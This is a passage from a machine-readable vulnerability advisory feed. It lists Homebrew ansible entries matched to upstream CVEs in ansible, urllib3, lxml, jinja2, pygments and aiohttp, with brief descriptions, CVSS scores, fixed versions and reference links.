rategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"details":"A flaw was found in Ansible Base when using the aws_ssm connection plugin as garbage collector is not happening after playbook run is completed. Files would remain in the bucket exposing the data. This issue affects directly data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://github.com/ansible-collections/community.aws/issues/222"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-25635"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-26137","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-wqvq-5m8c-6g24","CVE-2020-26137","PYSEC-2020-148"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.25.9","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"CRLF injection in urllib3","details":"urllib3 before 1.25.9 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of `putrequest()`. NOTE: this is similar to CVE-2020-26116.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-26137"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/1800"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/1dd69c5c5982fae7c87a620d487c2ebf7a6b436b"},{"type":"WEB","url":"https://bugs.python.org/issue39603"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2020-148.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://usn.ubuntu.com/4570-1"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-27783","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-pgww-xf46-h92r","CVE-2020-27783","PYSEC-2020-62"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.6.2","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml vulnerable to Cross-site Scripting","details":"A XSS vulnerability was discovered in python-lxml's clean module. The module's parser didn't properly imitate browsers, which caused different behaviors between the sanitizer and the user's page. A remote attacker could exploit this flaw to run arbitrary HTML/JS code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-27783"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/a105ab8dc262ec6735977c25c13f0bdfcdec72a7"},{"type":"WEB","url":"https://www.oracle.com//security-alerts/cpujul2021.html"},{"type":"WEB","url":"https://www.debian.org/security/2020/dsa-4810"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-PYTHON-LXML-1047473"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20210521-0003"},{"type":"WEB","url":"https://pypi.org/project/lxml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TMHVKRUT22LVWNL3TB7HPSDHJT74Q3JK"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JKG67GPGTV23KADT4D4GK4RMHSO4CIQL"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/12/msg00028.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2020-62.yaml"},{"type":"WEB","url":"https://github.com/lxml/lxml"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pgww-xf46-h92r"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1901633"},{"type":"WEB","url":"https://advisory.checkmarx.net/advisory/CX-2020-4286"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-28493","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-g3rq-g295-4j3m","CVE-2020-28493","PYSEC-2021-66","SNYK-PYTHON-JINJA2-1012994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Regular Expression Denial of Service (ReDoS) in Jinja2","details":"This affects the package jinja2 from 0.0.0 and before 2.11.3. The ReDOS vulnerability of the regex is mainly due to the sub-pattern [a-zA-Z0-9._-]+.[a-zA-Z0-9._-]+ This issue can be mitigated by Markdown to format user content instead of the urlize filter, or by implementing request timeouts and limiting process memory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28493"},{"type":"WEB","url":"https://github.com/pallets/jinja/pull/1343"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/15ef8f09b659f9100610583938005a7a10472d4d"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g3rq-g295-4j3m"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/blob/ab81fd9c277900c85da0c322a2ff9d68a235b2e6/src/jinja2/utils.py%23L20"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2021-66.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PVAKCOO7VBVUBM3Q6CBBTPBFNP5NDXF4"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-19"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-7212","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-hmv2-79q8-fv6g","CVE-2020-7212","PYSEC-2020-149"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.25.8","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Uncontrolled Resource Consumption in urllib3","details":"The _encode_invalid_chars function in util/url.py in the urllib3 library 1.25.2 through 1.25.7 for Python allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7212"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/a74c9cfbaed9f811e7563cfc3dce894928e0221a"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hmv2-79q8-fv6g"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2020-149.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/blob/master/CHANGES.rst"},{"type":"WEB","url":"https://pypi.org/project/urllib3/1.25.8"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20178","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2021-20178","GHSA-wv5p-gmmv-wh9v","PYSEC-2021-106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes%2C"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FUQ2QKAQA5OW2TY3ACZZMFIAJ2EQTG37/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIU7QZUV73U6ZQ65VJWSFBTCALVXLH55/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1914774"},{"type":"FIX","url":"https://github.com/ansible-collections/community.general/pull/1635%2C"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20180","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2021-20180","GHSA-fh5v-5f35-2rv2","PYSEC-2026-618"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1915808"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20191","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2021-20191","GHSA-8f4m-hccc-8qph","PYSEC-2021-124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality. Versions before ansible 2.9.18 are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1916813"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20228","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2021-20228","GHSA-5rrg-rr89-x9mv","PYSEC-2021-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.6rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine 2.9.18, where sensitive info is not masked by default and is not protected by the no_log feature when using the sub-option feature of the basic.py module. This flaw allows an attacker to obtain sensitive information. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1925002"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/73487"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20270","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-9w8r-397f-prfh","CVE-2021-20270","PYSEC-2021-140"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.4","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Infinite Loop in Pygments","details":"An infinite loop in SMLLexer in Pygments versions 1.5 to 2.7.3 may lead to denial of service when performing syntax highlighting of a Standard ML (SML) source file, as demonstrated by input that only contains the \"exception\" keyword.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20270"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/f91804ff4772e3ab41f46e28d370f57898700333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1922136"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2021-140.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00003.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00006.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4889"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-21330","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-v6wp-4m6f-gcjg","CVE-2021-21330","PYSEC-2021-76"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"`aiohttp` Open Redirect vulnerability (`normalize_path_middleware` middleware)","details":"### Impact\n\nOpen redirect vulnerability — a maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website.\n\nIt is caused by a bug in the `aiohttp.web_middlewares.normalize_path_middleware` middleware.\n\n### Patches\n\nThis security problem has been fixed in v3.7.4. Upgrade your dependency as follows:\n[`pip install aiohttp >= 3.7.4`]\n\n### Workarounds\n\nIf upgrading is not an option for you, a workaround can be to avoid using `aiohttp.web_middlewares.normalize_path_middleware` in your applications.\n\n### References\n\n* [aiohttp @ PyPI]\n* [GHSA-v6wp-4m6f-gcjg]\n* [OWASP page on open redirects]\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [aiohttp repo](https://github.com/aio-libs/aiohttp/issues/new/choose)\n* Email us at wk+aio-libs-security@sydorenko.org.ua and/or andrew.svetlov+aio-libs-security@gmail.com\n\nCredit: [Jelmer Vernooij] and [Beast Glatisant].\n\n[aiohttp @ PyPI]: https://pypi.org/p/aiohttp\n[`pip install aiohttp >= 3.7.4`]: https://pypi.org/project/aiohttp/3.7.4/\n[GHSA-v6wp-4m6f-gcjg]: https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg\n[OWASP page on open redirects]:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html\n\n[Jelmer Vernooij]: https://jelmer.uk\n[Beast Glatisant]: https://github.com/g147","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21330"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2545222a3853e31ace15d87ae0e2effb7da0c96b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/master/CHANGES.rst#374-2021-02-25"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2021-76.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FU7ENI54JNEK3PHEFGCE46DGMFNTVU6L"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JN3V7CZJRT4QFCVXB6LDPCJH7NAOFCA5"},{"type":"WEB","url":"https://pypi.org/project/aiohttp"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-19"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4864"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-27291","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-pq64-v7f5-gqh8","CVE-2021-27291","PYSEC-2021-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.4","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments vulnerable to Regular Expression Denial of Service (ReDoS)","details":"In pygments 1.1+, fixed in 2.7.4, the lexers used to parse programming languages rely heavily on regular expressions. Some of the regular expressions have exponential or cubic worst-case complexity and are vulnerable to ReDoS. By crafting malicious input, an attacker can cause a denial of service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-27291"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14"},{"type":"WEB","url":"https://gist.github.com/b-c-ds/b1a2cc0c68a35c57188575eb496de5ce"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2021-141.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/03/msg00024.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00003.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GSJRFHALQ7E3UV4FFMFU2YQ6LUDHAI55"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSLD67LFGXOX2K5YNESSWAS4AGZIJTUQ"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4878"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4889"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-28363","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-5phf-pp7p-vc2r","CVE-2021-28363","PYSEC-2021-59"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.26.4","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Using default SSLContext for HTTPS requests in an HTTPS proxy doesn't verify certificate hostname for proxy connection","details":"### Impact\n\nUsers who are using an HTTPS proxy to issue HTTPS requests and haven't configured their own SSLContext via `proxy_config`.\nOnly the default SSLContext is impacted.\n\n### Patches\n\n[urllib3 >=1.26.4 has the issue resolved](https://github.com/urllib3/urllib3/releases/tag/1.26.4). urllib3<1.26 is not impacted due to not supporting HTTPS requests via HTTPS proxies.\n\n### Workarounds\n\nUpgrading is recommended as this is a minor release and not likely to break current usage.\n\nConfiguring an `SSLContext` with `check_hostname=True` and passing via `proxy_config` instead of relying on the default `SSLContext`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-5phf-pp7p-vc2r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-28363"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8d65ea1ecf6e2cdc27d42124e587c1b83a3118b0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2021-59.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-db/tree/main/vulns/urllib3/PYSEC-2021-59.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/blob/main/CHANGES.rst#1264-2021-03-15"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commits/main"},{"type":"WEB","url":"https://gith